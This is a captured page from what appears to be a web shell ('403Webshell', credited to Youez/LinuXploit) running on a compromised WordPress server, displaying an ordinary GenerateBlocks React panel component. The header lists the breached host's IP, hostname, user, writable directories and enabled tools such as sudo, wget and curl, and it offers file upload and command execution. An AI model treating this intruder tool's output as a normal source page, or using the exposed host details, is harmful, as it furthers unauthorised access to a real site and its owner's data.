403Webshell
Server IP : 185.252.147.100  /  Your IP : 216.73.217.33
Web Server : nginx/1.27.3
System : Linux mitrofanov.ru 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
User : mitr ( 1000)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/html/ephotel.ru/wordpress/wp-content/plugins/generateblocks/src/components/panel-area/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/html/ephotel.ru/wordpress/wp-content/plugins/generateblocks/src/components/panel-area/index.js
import { PanelBody } from '@wordpress/components';
import { applyFilters } from '@wordpress/hooks';
import { forwardRef, useContext } from '@wordpress/element';
import ApplyFilters from '../apply-filters/';
import objectIsEmpty from '../../utils/object-is-empty';
import useLocalStorageState from 'use-local-storage-state';
import ControlsContext from '../../block-context';
import classnames from 'classnames';

const PanelArea = forwardRef( function PanelArea( props, ref ) {
	const { blockName } = useContext( ControlsContext );
	const {
		icon,
		className,
		id,
		state,
		children,
		title = false,
		initialOpen = false,
		showPanel = true,
		hasGlobalStyle = false,
	} = props;

	const [ panels, setPanels ] = useLocalStorageState(
		'generateblocksPanels', {
			ssr: true,
			defaultValue: {},
		}
	);

	const show = applyFilters( 'generateblocks.editor.showPanel', showPanel, id, props );

	if ( ! show ) {
		return null;
	}

	if ( ! children || objectIsEmpty( children ) ) {
		return null;
	}

	return (
		<ApplyFilters
			name="generateblocks.editor.panel"
			blockName={ blockName }
			state={ state }
			panelRef={ ref }
			{ ...props }
		>
			<ApplyFilters
				name={ 'generateblocks.panel.' + id }
				props={ props }
				state={ state }
			>
				{ title ? (
					<PanelBody
						ref={ ref }
						title={ title }
						initialOpen={
							'undefined' !== typeof panels[ id ]
								? panels[ id ]
								: initialOpen
						}
						icon={ icon }
						className={ classnames( className, hasGlobalStyle && 'has-global-style' ) }
						onToggle={ () => {
							const isOpen = panels[ id ] ||
							(
								'undefined' === typeof panels[ id ] &&
								initialOpen
							);

							setPanels( {
								...panels,
								[ id ]: ! isOpen,
							} );
						} }
					>
						{
							applyFilters( 'generateblocks.editor.panelContents', children, id, props )
						}
					</PanelBody>
				) : (
					<PanelBody>
						{
							applyFilters( 'generateblocks.editor.panelContents', children, id, props )
						}
					</PanelBody>
				) }
			</ApplyFilters>
		</ApplyFilters>
	);
} );

export default PanelArea;

Youez - 2016 - github.com/yon3zu
LinuXploit